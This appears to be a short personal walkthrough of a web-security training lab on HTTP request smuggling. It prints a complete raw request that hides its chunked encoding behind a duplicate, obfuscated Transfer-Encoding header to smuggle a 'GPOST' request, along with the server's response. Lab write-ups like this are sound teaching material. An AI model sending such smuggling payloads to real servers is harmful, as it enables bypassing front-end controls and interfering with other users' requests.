

HTTP request smuggling, obfuscating the TE header

This lab involves a front-end and back-end server, and the two servers handle duplicate HTTP request headers in different ways. The front-end server rejects requests that aren't using the GET or POST method.

To solve the lab, smuggle a request to the back-end server, so that the next request processed by the back-end server appears to use the method `GPOST`.

Set up a repeater session and paste in the template requirements

I simply re-used the template from the previous exercise and went and change the Transfer-Encoding headers so they were obfuscated.

```
Request
Pretty Raw Hex Hackvortor
1 POST / HTTP/1.1 \r \n
2 Host: 0a2900e004b887d4c07b16fe00190095.web-security-academy.net
3 Upgrade-Insecure-Requests: 1 \r \n
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 \r \n
5 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif;q=0.8,application/signed-exchange;v=b3;q=0.9 \r \n
6 Sec-Fetch-Site: same-origin \r \n
7 Sec-Fetch-Mode: navigate \r \n
8 Sec-Fetch-User: ?1 \r \n
9 Sec-Fetch-Dest: document \r \n
10 Sec-Ch-Ua: "Chromium";v="105", "Not)A;Brand";v="8" \r \n
11 Sec-Ch-Ua-Mobile: ?0 \r \n
12 Sec-Ch-Ua-Platform: "Windows" \r \n
13 Referer: https://0a2900e004b887d4c07b16fe00190095.web-security-academy.net/
14 Accept-Encoding: gzip, deflate \r \n
15 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 \r \n
16 Connection: close \r \n
17 Content-Type: application/x-www-form-urlencoded \r \n
18 Content-Length: 4 \r \n
19 Transfer-Encoding: chunked \r \n
20 Transfer-Encoding: sw1m \r \n
21 \r \n
22 5c \r \n
23 GPOST / HTTP/1.1 \r \n
24 Content-Type: application/x-www-form-urlencoded \r \n
25 Content-Length: 15 \r \n
26 \r \n
27 x=1 \r \n
28 0 \r \n
29 \r \n
30
```

Return

Response

Pretty Raw Hex Render Hackvector

```
1 HTTP/1.1 403 Forbidden
2 Content-Type: application/json; charset=utf-8
3 Connection: close
4 Content-Length: 27
5
6 "Unrecognized method GPOST"
```

Congratulations people

Congratulations, you solved the lab!